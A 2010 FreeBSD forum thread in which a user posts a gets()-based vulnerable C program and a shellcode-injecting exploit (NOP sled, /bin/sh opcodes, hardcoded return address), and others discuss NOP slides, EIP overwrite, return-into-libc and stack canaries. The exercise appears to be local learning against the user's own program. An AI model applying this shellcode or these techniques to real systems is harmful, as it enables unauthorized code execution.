1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Spawning shell using buffer overflow in C program

Discussion in 'Userland Programming and Scripting' started by TariqYousaf, Jan 6, 2010.

  1. TariqYousaf

    TariqYousaf New Member

    Messages:
    6
    Likes Received:
    0
    I have written a program "master.c" that is using gets and is vulnerable to buffer overflow:

    Code:
    //----- master.c -- MASTER PROGRAM ------------------------------
    #include <stdio.h>
    
    int main(int argc, char** argv)
    {
        char buf[100];
       
        printf("Please enter your name: ");
        fflush(stdout);
        gets(buf);
        printf("Hello \"%s\"\n", buf);
    }
    
    void notcalled(void)
    {
        printf("This is a secret string");
    }
    
    
    I have written another program "shellcode.c" that overflows the buffer in master.c and tried to spawn a shell at the terminal:

    Code:
    //---- shellcode.c --- MY PROGRAM ----------------------------
    #include <stdio.h>
    
    char shellops[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
    
    #define NOP        0x90
    #define BUFLEN    108
    #define RETADDR    0xbfbffa4c
    
    int main(void)
    {
        char buf[BUFLEN];
        int i;
       
        for (i=0; i<BUFLEN; i+=4)
            *(long *)&buf[i] = RETADDR;
       
        for (i=0; i<50; i++)
            *(buf+i) = NOP;
       
        memcpy(buf+i, shellops, strlen(shellops));
    
        printf("%s", buf);
    
        return 0;
    }
    
    To achieve this, I have already written the assembly program to spawn the shell and obtained the OP codes against the assembly code. Then I have written a C program to create a char buffer containing those OP codes and tried to overflow the buffer of the master program.... so that the return address of the main is overwritten with the address of the char buffer containing the code for spawning the shell.

    When it comes to passing the input string (i.e. the buffer containing the shell spawning code) to the master program, I have simply used the piped out of my program to the master program (i.e. standard output and standard input).

    i.e. TY@Bash$ ./shellcode | ./master

    Unfortunately, this trick doesn't work for me, even with a lot of variations in address and the code.

    I need to know all the possible ways to pass the data (containing the OP codes) to the master program ... when required by GETS().

    ** As a verification, I have already checked the code overflow the buffer of my own program i.e. shellcode.c and found that it spawns the shell successfully. I have even tried adding an instruction for "INT3" it works fine. This leads me conclude the following:
    - Either I am not passing the string to the master program in the correct way.
    - Or I am unable to locate the correct address of the variable 'buf' in master.c to return to.
     
  2. DutchDaemon

    DutchDaemon Administrator Staff Member Administrator Moderator

    Messages:
    10,673
    Likes Received:
    26
    Please use
    Code:
     tags and leave the fonts alone.
    ( [url=http://forums.freebsd.org/showthread.php?t=8816]Posting and Editing in the FreeBSD Forums[/url] )
     
  3. SirDice

    SirDice Moderator Staff Member Moderator

    Messages:
    17,427
    Likes Received:
    16
  4. Alt

    Alt New Member

    Messages:
    726
    Likes Received:
    0
    When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"
     
  5. SirDice

    SirDice Moderator Staff Member Moderator

    Messages:
    17,427
    Likes Received:
    16
    That's the easiest way to do it, it's called a NOP slide ;)

    You basically get the correct point to insert the 'new' EIP. The new address points somewhere in the middle of the NOP slide. Then you don't have to be so exact. At the end of the NOP slide is the shell code.
     
  6. TariqYousaf

    TariqYousaf New Member

    Messages:
    6
    Likes Received:
    0
    But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!

    Thanks for your worth it comments though, I'm trying the way out with more NOPs to hit the right address.
     
  7. SirDice

    SirDice Moderator Staff Member Moderator

    Messages:
    17,427
    Likes Received:
    16
    Yes, there is no /bin/bash :e

    You need to make absolutely sure you've got the right spot where EIP gets overwritten. This is usually the hardest part of the exploit.
     
  8. LateNiteTV

    LateNiteTV New Member

    Messages:
    391
    Likes Received:
    0
    does freebsd use a non executable stack?
    maybe returning into libc is what you need to do.
     
  9. SirDice

    SirDice Moderator Staff Member Moderator

    Messages:
    17,427
    Likes Received:
    16
    AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.

    http://en.wikipedia.org/wiki/Buffer_overflow_protection


    I'd say give it a shot, I'm too rusty to do it hands-on these days :e
     
  10. TariqYousaf

    TariqYousaf New Member

    Messages:
    6
    Likes Received:
    0
    :p sorry for the typo I meant '/usr/local/bin/bash'.
    Let me clear my point please.
    1- I'm using FreeBSD 4.8.
    2- I've successfully smashed the stack and executed the code to run the commands like 'who', 'hostname' and 'pwd'.
    3- I'm unable to execute 'sh', 'bash' and 'ls'.

    Please advise!!!
     
  11. TariqYousaf

    TariqYousaf New Member

    Messages:
    6
    Likes Received:
    0
    Is there any special difference in the internal working of 'sh' & 'bash' as compared to 'who' & 'hostname'?
     
  12. TariqYousaf

    TariqYousaf New Member

    Messages:
    6
    Likes Received:
    0
    Hey guys... I've figured out the reason why the shell is not getting spawned but still don't know beneath the surface i.e. how to get it solved; so I need to give you guys an SOS call ... :)

    Actually, shell is generated as a Zombie process for a couple of seconds and then it gets destroyed.

    Could you please suggest me a way out of this...!
     
  13. TariqYousaf

    TariqYousaf New Member

    Messages:
    6
    Likes Received:
    0
    Morever, the execve man says:
    Code:
    execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program 
    loaded. The program invoked inherits the calling process's PID
    But in my case, if I debug the program and try to execute the injected code, it executes the 'sh' but as a Zombie whose Parent ID is the vulnerable program (i.e. MASTER.C as mentioned in the first post) where as according to the 'execve man' it should be the Id of the shell I'm executing the program in.
     
  14. mathlabi

    mathlabi New Member

    Messages:
    1
    Likes Received:
    0
    Any solution to the problem?

    Tariq,

    Did you find any solution to the problem? Could you please post the assembly code and the debugger code also?

    Thanks

    Jeff